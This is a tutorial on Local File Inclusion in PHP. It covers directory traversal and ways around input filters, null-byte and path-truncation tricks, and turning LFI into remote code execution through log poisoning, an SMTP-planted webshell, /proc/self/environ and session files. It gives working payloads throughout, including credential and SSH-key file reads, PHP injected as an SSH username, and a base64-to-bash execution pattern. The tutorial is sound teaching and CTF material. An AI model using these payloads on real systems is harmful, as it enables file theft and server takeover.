A Local File Inclusion (LFI) is a web vulnerability that allows reading local files. This vulnerability occurs when a web server uses the file path as input. Additionally, it can lead to remote command execution if certain requirements are met.
- Basic LFI
- Directory Path Traversal
- Null Byte
- Path Truncation
- LFI to RCE
- LFI to RCE Conclusion
- References
Basic LFI
As mentioned at the beginning, LFI occurs when a file path is being called through an input field. Typically, we’ll see this situation in PHP variables, but we shouldn’t limit the vulnerability to this as it would be incorrect.
To make the idea clearer, let’s see it with an example. We have the following PHP code:

It’s a simple code where a value is expected through a GET request in the file variable. Subsequently, it checks if the file variable has any content, and, if so, it includes the file that has as its name, the value of the variable.
To host the file, we set up a web server:

This way, when accessing http://localhost it will load the file:

Remember that when we access a web resource without specifying a file, by default it tries to load
index.htmlorindex.php, that’s why the file is not specified above, it’s not necessary.
In this case we don’t see anything, because we simply haven’t specified anything in the file variable that exists in the PHP code. Now, if we define the variable and pass as a value, for example, the /etc/hosts file:

We manage to view it, we’re achieving a Local File Inclusion (LFI). For a more readable format we can view it from the source code (Ctrl + U):

With this, we could already enumerate sensitive system files (e.g., configuration files) and obtain information from it.
For example, something typical to do especially in CTFs is to view the system users in
/etc/passwdand check if they have anyid_rsain the/home/<user>/.ssh/id_rsadirectory
This is the most basic type of LFI, since in the PHP code we’re not doing any type of input sanitization. There are certain protections to make it not so easy to achieve the Local File Inclusion, however, likewise, there are various techniques and bypasses to achieve the LFI.
Directory Path Traversal
Let’s change the PHP code to the following:

Now, when trying to include a file, the PHP code itself will add the path /var/www/html with the purpose that only files within this path can be included.
Contrary to before, now we have a protection that seems to prevent us from loading files that are outside the directory specified by the code, however, this protection can be bypassed very easily using a Directory Path Traversal.
A Directory Path Traversal is a technique that allows us to escape from the path we’re being forced to remain in. This technique is carried out through the use of dot-dot-slash, in other words, ../.
For example, let’s try to load the /etc/hosts file in the same way we did before:

This time it doesn’t load because it’s trying to include the /var/www/html/etc/hosts file, which doesn’t exist. However, if we try to use Directory Path Traversal, the following will happen:

We can read it, and this happens because it’s trying to load the file:
/var/www/html/../../../../../../../../../../../../etc/hosts
Which does exist. A detail about this is that we don’t need to know exactly how many directories we need to go back to reach the root. Because we can go back indefinitely, since when we reach the root, it will simply stay there no matter how much we keep trying to go back. This behavior also occurs in Linux:


With this last example, if in the PHP code instead of /var/www/html/, it was /var/www/html (without the trailing slash). The payload above:
../../../../../../../../../../../../etc/hosts
Would not work because it would result in:
/var/www/html../../../../../../../../../../../../etc/hosts
So to the payload we would simply need to add a slash at the beginning so it would be:
/../../../../../../../../../../../../etc/hosts
And together:
/var/www/html/../../../../../../../../../../../../etc/hosts
It’s a mini change, but it can determine whether it works or not.
Apart from this, what happens if in the PHP code we add sanitization to remove the ../ string from the value that enters through the file variable. The PHP code would be the following:

If we try the same as before:

It won’t work, since it’s changing our input from:
/var/www/html/../../../../../../../../../../../../etc/hosts
To:
/var/www/html/etc/hosts
And we know that file doesn’t exist. What can we do then?
Well, what we can do is try to make it access the file instead of:
/var/www/html/../../../../../../../../../../../../etc/hosts
Try to access:
/var/www/html/….//….//….//….//….//….//….//….//….//….//….//….//etc/hosts
Since when it performs the sanitization and removes the values that match ../, we’ll be left with the path:
/var/www/html/../../../../../../../../../../../../etc/hosts
And we can access again:

It would also be the same if instead of
....//it was..././. Knowing this, one can even dare to mix both payloads
This way, we see that despite the different sanitizations, we manage to read the file. The symbols could also be placed using URL Encode, double URL Encode.
At the end of it all, it’s about asking ourselves: What if I put this, what if I do it this way? It’s a matter of being creative.
Null Byte
Null Byte is a technique that worked until PHP version 5.3.4 (they fixed it in this version). This technique allowed anything added in the PHP code after the PHP variable we set to not be taken into account.
In a PHP code a string can be added at the end with the purpose that when including files, only files ending in the specified string are included, for example:

In this case, the .php string is added so that only files ending in this extension can be read. If we tried to access /etc/hosts, it would convert to /etc/hosts.php, therefore, we could no longer read it.
Well, using a Null Byte would bypass this impediment. The idea was basically to place a %00 at the end of our input.
This caused everything added afterward to be ignored. So we would pass to the file variable an input like:
/var/www/html/….//….//….//….//….//….//….//….//….//….//….//….//etc/hosts%00
So that in addition to bypassing all the previously seen protections, everything added after the variable would be completely ignored thanks to the Null Byte.
This technique was eventually fixed, so it’s unlikely we’ll encounter it.
Path Truncation
Path Truncation is another technique to achieve the same purpose as Null Byte, ignoring any string located after the variable.
This technique was also patched at the time. Specifically it was fixed in PHP version 5.3. Still, it’s not bad to know it. Path Truncation is based on taking advantage of the 4096 byte limit that PHP has for a string.
Knowing this limit, if in the PHP code an extension is added after the file, what happens if we send as a value in the variable a string greater than 4096 bytes?
PHP will have to cut the string and ignore what is after these bytes, so the idea would be:
/etc/hosts[+4096 bytes]
This way, when PHP “cuts” the string, it will ignore the excess bytes we’ve added in addition to the extension that the code itself adds afterward.
However, a series of requirements are needed for it to work:
- The data we pass to the variable must start with a random string or letter
- The file/path we indicate must have an odd number of characters. For this, we take advantage of the above condition.
- Byte 4096 must be a dot, this is also achieved with the first condition
Taking these three conditions into account, the payload should be something like:
a/../etc/hosts/./././.until exceeding 4096 bytes.
We can test the vulnerability in the Root Me Path Truncation challenge.
This works because:
/etc/hostsis equivalent to/etc/hosts/.(etc)
Example:

In this case I’m not adding any extension in the code, I simply show how placing a /. is indifferent to not placing it in the sense that the file will still load. However, the initial “random” character is mandatory, since if not, it won’t work:

Because it establishes whether the number of characters in the path is even or odd, and with it, whether byte 4096 is a slash (/) or a dot (.). In this case, it would be the same to place an a as to place 3, 5, etc., as long as it’s always an odd number.
PS: we can generate the 4096 bytes with the following command:

LFI to RCE
There are many ways to convert an LFI into an RCE (Remote Command Execution):
Log Poisoning
The most typical is Log Poisoning. Since we can read files through LFI, what happens if we read a file with PHP code?
Basically, it will be interpreted. Now, if we can control the content of the PHP code we can execute whatever we want. However, how do we write the code we want in a system file? This is where logs come in as the protagonist.
When, for example, we try to log in to SSH, login attempts are stored in this case in the /var/log/auth.log file:

So, what happens if I try to log in with a user named <?php system("whoami"); ?>?:

It also gets written in the file. If I now read this file through an LFI, the PHP code should be executed:

Indeed, in the same place where the command is written, when viewing it from the browser, it has been interpreted and has executed the whoami command for us.
The idea of log poisoning is basically this. There are certain files that we, being outside the machine, can control their content. And if we have an LFI and can control the content of a readable file, then we have RCE.
The SSH log (/var/log/auth.log) is not the only one, other typical files that can serve us are:
- Apache log —>
/var/log/apache2/access.log - vsftpd log —>
/var/log/vsftpd.log - Any other file or log where we can control the content from outside.
Note: sometimes, if we see it very difficult to insert a command due to the amount of symbols or quotes it may have, let’s not forget that we can encode it in base64 and execute:
base64 | base64 -d | bashPerhaps this way we can have fewer problems when inserting a command in a log.
Another important thing to highlight is that we have to be very careful when inserting PHP code in the log. Since if we make a mistake, the log won’t load and then we’ll have to delete the erroneous PHP code so we can read the file again (this is when it’s said that “we’ve ruined the log”). And of course, if this has happened to us on a remote machine, well, F.
Mail PHP Execution
Another possible way to achieve RCE is through an email. Emails received by a user are stored in the path:
/var/mail/<user>
So, if the machine has port 25 open (SMTP), we can send, for example via telnet, an email containing PHP code to the user we want and then read the email through LFI to interpret the code sent in the email.
We can send an email with telnet as follows:
telnet X.X.X.X 25
HELO localhost
MAIL FROM:<root> #Without the < or > symbols
RCPT TO:<www-data> #Without the < or > symbols
DATA
<?php
echo shell_exec($_REQUEST['cmd']); # Webshell
?>
To signal that we've finished writing the email, press enter twice, write a . and press enter again
With the email sent, if for example, we’ve sent it to the www-data user, we should find the email in the file:
/var/mail/www-data
Assuming it has arrived, since we’ve sent a webshell, through LFI we could execute commands as follows (example):
/index.php?file=/var/mail/www-data&cmd=<command>
Remember that if we’re concatenating variables in PHP, the first one is always with a question mark (
?), however, all the following ones are concatenated with an ampersand (&)
Other files to check if the above doesn’t exist are:
/var/log/mail.log/var/log/maillog/var/adm/maillog/var/adm/syslog/mail.log
/proc/self/environ
The /proc/self/environ file contains multiple environment variables, among them, one that may interest us is HTTP_USER_AGENT (if it exists). The value of this environment variable will depend on the User-Agent through which we’re accessing the web server. So if this file is readable, we can achieve RCE simply by changing our User-Agent to the PHP code we want.
On exploit-db there’s a PoC about shell via LFI - proc/self/environ method that explains this quite well.
/proc/self/fd or /dev/fd
Inside the directories either /proc/self/fd/ or /dev/fd/ we can find certain files with the following structure:
/proc/self/fd/x/dev/fd/x
Where x is a number.
These files are directly related to some processes and system logs. So perhaps, one of these files may show us information about the web server we’re accessing, and with it, some field that is editable by us.
This post about BugBounty: from LFI to RCE explains this quite well, moreover, in a real Bug Bounty case.
PHP Sessions
This other method is quite curious and we can see it with an example in the article From LFI to RCE via PHP Sessions. When the server provides us with a PHPSESSID session cookie, it’s stored in the system, normally in a path like:
/var/lib/php/sessions/
Or similar. And with the name: sess_<PHPSESSID>
The storage path for session cookies is determined by the
session.save_pathenvironment variable, which is empty by default
So the complete path would be:
/var/lib/php/sessions/sess_<PHPSESSID>
If we’re able to access and read the session file through LFI, we may find fields that we can perhaps manipulate and change their value to PHP code.
LFI to RCE Conclusion
We’ve seen many possible techniques above, but really, in the end, the goal with each of them is to read PHP code through the LFI we have. So, although knowing the mentioned techniques can be very helpful, it’s our mission to analyze the specific case we’re in and see in which file we can control its content to, through LFI, read it and obtain RCE.
WARNING: let’s not make the mistake mentioned at the beginning of limiting LFI to PHP, the important thing is to understand the concept of the vulnerability. Since for example, in an IIS, we can do the same thing, but instead of with PHP files, with ASPX or ASP.